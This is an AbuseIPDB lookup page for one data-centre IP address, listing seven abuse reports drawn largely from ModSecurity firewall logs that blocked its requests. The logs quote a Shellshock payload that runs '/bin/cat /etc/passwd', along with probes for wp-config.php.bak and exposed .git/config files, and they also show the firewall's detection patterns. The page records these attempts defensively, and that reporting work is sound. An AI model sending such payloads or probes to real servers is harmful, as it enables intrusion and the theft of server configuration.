JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 154.29.233.247

154.29.233.247 was found in our database!

This IP was reported 7 times. Confidence of Abuse is 0%: ?

ISP	Aventice LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS46261
Domain Name	aventice.com
Country	🇺🇸 United States of America
City	Ashburn, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 154.29.233.247

Whois 154.29.233.247

IP Abuse Reports for 154.29.233.247:

This IP address has been reported a total of 7 times from 2 distinct sources. 154.29.233.247 was first reported on February 1st 2025, and the most recent report was 5 months ago.

Old Reports: The most recent abuse report for this IP address is from 5 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 TPI-Abuse	2026-01-17 08:39:33 (5 months ago)	(mod_security) mod_security (id:221260) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:221260) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Jan 17 03:39:22.899645 2026] [security2:error] [pid 13052:tid 13052] [client 154.29.233.247:35685] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)\|\|cpcalendars.nbcnewsradio.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpcalendars.nbcnewsradio.com"] [uri "/"] [unique_id "aWtKugYfISLKNiRVJ3efpAAAABI"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-12-29 18:43:34 (5 months ago)	(mod_security) mod_security (id:210492) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:210492) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Dec 29 13:43:29.139390 2025] [security2:error] [pid 22841:tid 23018] [client 154.29.233.247:48009] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpcalendars.kettlehill.com"] [uri "/wp-config.php.bak"] [unique_id "aVLL0bvqJPp5jxktaSFvxQAAAM4"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-13 08:53:58 (7 months ago)	(mod_security) mod_security (id:210492) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:210492) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Nov 13 03:53:49.427318 2025] [security2:error] [pid 27028:tid 27028] [client 154.29.233.247:37335] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "ftp.nbcnewsradio.com"] [uri "/js../.git/config"] [unique_id "aRWcnZRmQK3AGTYzxnMROAAAAAs"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-07-27 00:46:48 (10 months ago)	(mod_security) mod_security (id:210492) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:210492) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Jul 26 20:46:42.231873 2025] [security2:error] [pid 404372:tid 404530] [client 154.29.233.247:55683] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpcalendars.kettlehill.com"] [uri "/static../.git/config"] [unique_id "aIV28hTdKN3sxMPXSjT1cwAAAQM"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-05-29 19:27:20 (1 year ago)	(mod_security) mod_security (id:221260) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:221260) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu May 29 15:26:49.094072 2025] [security2:error] [pid 3304013:tid 3304013] [client 154.29.233.247:42075] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)\|\|webmail.farmers123.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "webmail.farmers123.com"] [uri "/cgi-bin/status"] [unique_id "aDi0-bACloSO349iTCmdHQAAAAU"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-05-04 09:02:59 (1 year ago)	(mod_security) mod_security (id:221260) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:221260) triggered by 154.29.233.247 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun May 04 05:02:40.369437 2025] [security2:error] [pid 3782576:tid 3782576] [client 154.29.233.247:58195] [client 154.29.233.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)\|\|cpanel.nbcnewsradio.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpanel.nbcnewsradio.com"] [uri "/"] [unique_id "aBctMNeBoGowoVRvIO1OGgAAAA4"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2025-02-01 00:00:13 (1 year ago)	\| Shellshock attack attempt	Hacking SQL Injection Web App Attack

Showing 1 to 7 of 7 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 150.107.38.16

🇨🇳 118.196.38.83

🇸🇦 188.54.13.187

🇺🇸 165.154.235.9

🇭🇰 152.32.172.177

🇫🇮 147.185.133.122

🇮🇳 139.59.7.165

🇨🇳 116.1.179.117

🇫🇷 79.137.34.248

🇨🇳 58.19.140.32

🇩🇪 2a04:c300:400::1f2

🇲🇽 189.140.76.172

🇧🇷 186.219.184.142

🇺🇾 186.55.158.137

🇺🇸 185.61.219.128

🇺🇸 162.216.149.85

🇨🇭 162.158.217.142

🇲🇦 154.146.240.123

🇸🇬 128.199.231.249

🇨🇳 122.114.255.230